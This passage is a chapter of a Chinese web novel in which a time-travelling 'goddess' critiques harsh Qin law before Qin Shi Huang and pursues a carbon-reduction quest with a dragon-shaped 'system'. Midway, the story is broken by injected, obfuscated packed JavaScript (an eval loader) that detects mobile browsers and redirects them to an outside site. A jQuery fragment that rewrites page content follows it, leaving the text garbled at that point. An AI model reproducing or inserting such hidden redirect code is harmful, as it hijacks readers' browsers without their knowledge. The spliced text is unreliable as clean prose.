虽然期间出了这么一个小插曲,但后面倒也没人再来质疑秦夷香。
于是这一场给神女举办的接风洗尘宴会也算是顺利地结束了。
蜃龙早就待不住了,一直缠着秦夷香和她说小话,一会儿蛐蛐某个官员长得矮,一会儿又感叹谁谁长得真好看。
秦夷香被她吸引着注意,突然幻视妈妈带孩子回家路上碰见熟人唠嗑,孩子扭来扭去要求回家的场景。
秦夷香:“……”
秦夷香把脑中奇怪的想法压下,伸胳膊让蜃龙爬了上来,带着它离席。
见她起身,李斯连忙跟过去。
“神女。”
秦夷香回头,不解地看着他。
“斯愚钝,此先不识神女天威,言行多有冒犯,心中悔愧不已。冀得神女宽宥,饶恕斯浅陋无知。”他态度诚恳,反倒让秦夷香一愣。
“廷尉不必如此。”她道:“廷尉与陛下共建大秦伟业,必是希望陛下万年、大秦万年,吾知晓廷尉心之赤忱。”
李斯并未随始皇帝出海,而后者贸然带回了一个“神女”,按李斯的性格和经历,如果不能给出他有力的证据,是绝对不会相信所谓的鬼神之说,只会把她当作手段高超的方士,以奇技淫巧骗过了始皇帝。
对方质疑她,她借此展示“神异”,反而能助她坐实这神仙的假身份,她断然没有责怪对方的道理。
李斯未料神女未怪罪,敛容正色,深深一揖:“神女胸襟,斯……当效之。”
秦夷香不太擅长应对这种私下里拍马屁的场景,也深觉受之有愧,连忙道:“此事便就此揭过,廷尉无需挂怀于心。”
而恰在这时,始皇帝也走了过来。
他看到李斯后目光一顿,在他身上停留了片刻,大概能猜出来他与神女私下谈话的内容。
但看神女似乎并无不喜,他也不好当着神女的面说什么责备对方的话,颔首示意后目光转向秦夷香。
“神女席间所言,‘战利如水’,政深以为然。”他语速很缓,眉头蹙着,身体微微前倾,不解道:“朕知晓世殊时异,也明白战乱过后天下需安定,但朕所为——修驰道、建水利、移民实边,都是为了大秦能长治久安。”
李斯站在一旁,聚精会神地听着两人的对话。
他心中的想法同始皇帝一样。他们都信法、术、势,认强权,不信仁政。
周兴八百年,却有半数时间是在经历战乱,至秦时九州归一,止了内乱——
仁慈会带来混乱,而威严却带来了太平。
“陛下是觉得,现今天下未稳,是因为人心未附、旧俗未除、吏治不严吗?”秦夷香深深看了始皇帝一眼,轻声问道。
始皇帝和李斯,乃至整个秦廷的人的想法其实可以理解——
孝公用商鞅之法,移风易俗,民以殷盛,国以富强。百姓乐用,诸侯亲服。
是法让秦由弱变强,统一天下,所以秦法无错,是六国人“不守法”。
始皇帝的对策不是放宽法律,而是更严苛地推行秦法——意图秦化六国遗民、镇压反抗、彰显皇威。
“但是陛下,”秦夷香斟酌用词,试图向他解释对方治国的盲点:“秦法之弊,不在其律令严苛。”
律令严苛,才能威慑民众,防止百姓犯禁。
“轻罪重刑、连坐太广、律令太细密……”说到此处,秦夷香顿了顿,她想到后世法律同样精细,规范着人们生活的方方面面,在治国中发挥着巨大作用。补充道:“律令细密非是坏事,然太过严苛酷烈的刑罚却会引来黎民的反抗。”
法治可以,但法里不能没有温度。
而秦法没有相对的缓冲,百姓动辄触犯法律,等待他们的结果却是严酷的刑罚。
“天下初定,民生凋敝,百姓只想安居乐业,陛下却用更严厉的法去弹压。”
“秦人生在秦地,自幼与秦法打交道,对此或许并无较大反抗。但六国遗民却是从未接触过秦法,骤然要求他们去改变自己原有的生活,他们无法轻易接受。”
“刀甲兵刃能压得住乱世,却压不住民心溃散。”
秦夷香在内心里叹了口气,可惜历史上的秦亡于起义军。
“莫要让偌大的帝国,成也秦法,败也秦法。”
这话说得重,始皇帝内心震颤,而神女最后的语气听着却不像是在告诫,反而像是在阐述某种现实。
这种想法让始皇帝悚然一惊,他张了张口,却发现自己喉咙发紧:“那依神女之言,大秦以后,该当如何?”
秦夷香微微一笑,不再回答。
“夷香,你为什么后来不告诉始皇帝该怎么做了?”蜃龙正听得津津有味,但秦夷香却突然止住了话题,它有些抓心挠肝的好奇。
“倘若处处靠我建议,如果有一天我要离开了,那怎么办?”
秦夷香抱着蜃龙,在侍女的引领下往始皇帝给她安排的住处走去,耐心解释道:“他们都固执地认为秦法无弊端,神女只是就事论事。他们对我的话可能并不完全信服。”
“只有让他们自己想明白,知道该怎么改,才能付诸行动。”
蜃龙晃了晃身子,大概明白了她的意思。
“那我们的主线任务呢?”蜃龙诚恳发问:“夷香,我们来了好几天了,减碳目标目前的进度是0.25/1000吨。”
秦夷香沉默片刻,扬起微笑:“这不是还有0.25吗?这是怎么来的?”
她分明记得自己这两天什么都没干,光顾着布局忽悠始皇帝了,没想到系统的监测系统还能记录下0.25t的数据,真是意外之喜。
“嗯……”蜃龙翻了翻记录:“今晚宴会,方士们并未炼丹。”
“这种也行吗?”秦夷香惊讶:“那你能不能记录某户人家烧柴时用晒干的柴草比之湿柴减少的碳排?”
湿柴因其水分含量高,冒烟大,烧得也久。
如果把这些算上的话,一千吨碳排好像也不是很难。
“不行。”蜃龙说:“系统只能监测由宿主行为造成的减排现象。夷香你不要钻空子!”
“那好吧。”秦夷香失望道:“等我回去再研究研究这个任务。”看看能钻什么漏洞。
说话间,她已到了房门前。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281102|198353||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
谢过引路的侍女,她带着蜃龙进屋,此地没有外人,她也不用端着神女的架子,往榻上一瘫,闭眼准备休息。
但不知道是因为初见始皇帝有些兴奋,还是那个“不眠战神速溶咖啡”确实有效,她只觉精力充沛,半点睡意也无。
在榻上来回滚了好几圈后,秦夷香把盘在她枕边的蜃龙捞起来。
“好无聊啊,我们出去转转吧!”
蜃龙被迫跟着秦夷香出门吹风。
【叮——触发支线任务!】
系统面板突然弹在秦夷香面前,她一怔,便见几行字浮现出来:【秦始皇欲徙黔首三万户于琅琊山下,请宿主尽量减少移民对当地生态的破坏。】
秦夷香:“……”
“统子,”她无语:“你发布任务的时候,有没有想过,移民三万户其实并不能对当地生态造成多大的损害。”
自商鞅变法“强分家”后,秦朝每户的规模就已经减少了很多,平均下来一个家庭大概也就三四个人,移民三万户也就是十几万的数量。
且琅琊地处温暖的沿海地带,降水丰沛,土壤肥力也不低,当地的生态自我修复功能本身就很强。
始皇帝“复十二岁”,免除当地十二年的徭役,也是在促进移民长期发展经营。
移民确实会对局部造成破坏,但不能因此为难百姓啊!
“但是夷香,任务奖励很丰厚啊!”
“什么奖励?”
“任务完成后,奖励积分800……”
秦夷香打断它:“什么意思,把我投放错时代才赔偿积分五百,完成一个支线任务奖励我八百?”
这补偿礼怎么这么寒碜!
“这个嘛……”蜃龙试图卖惨蒙混过关:“一定是主系统坑我资历浅,我好惨呀呜呜呜……”
“得了。”秦夷香笑道:“看在我是你第一任宿主的份上,不跟你计较。你接着说,还有什么奖励。”
“还有「通天白杨」树苗x1000。”
蜃龙一板一眼念着简介:“一年成木,三年成林。不用管,不用养,扔到土里就疯长。十年可抵百年功!”
“谁教你们这么写简介的。”秦夷香扶额,好奇道:“能一键播种吗?”
“呃……”蜃龙不知道她为什么会问出这样的问题,老老实实回答:“不能。”
“那好吧。”秦夷香也不强求,大不了完不成任务她就跑到秦国边境去种树。
她算了算自己这两天花的积分:“衣服88,堆肥30,花种2,保温杯10,那天我让你搭桥花了237,速溶咖啡10,签到得了2个积分,所以还剩……”
“还剩125!”蜃龙抢答。
“好穷啊。”秦夷香感慨。
“所以我们快去做支线任务吧!”蜃龙顿时精神了起来。
“这大晚上的,我总不能现在就去找始皇帝吧。”
蜃龙摇头晃脑,煞有其事道:“夷香,你觉得他们睡了吗?”
秦夷香眼前一亮:“你是说……”
“喝了本系统亲手泡的咖啡,睡意就地火化!”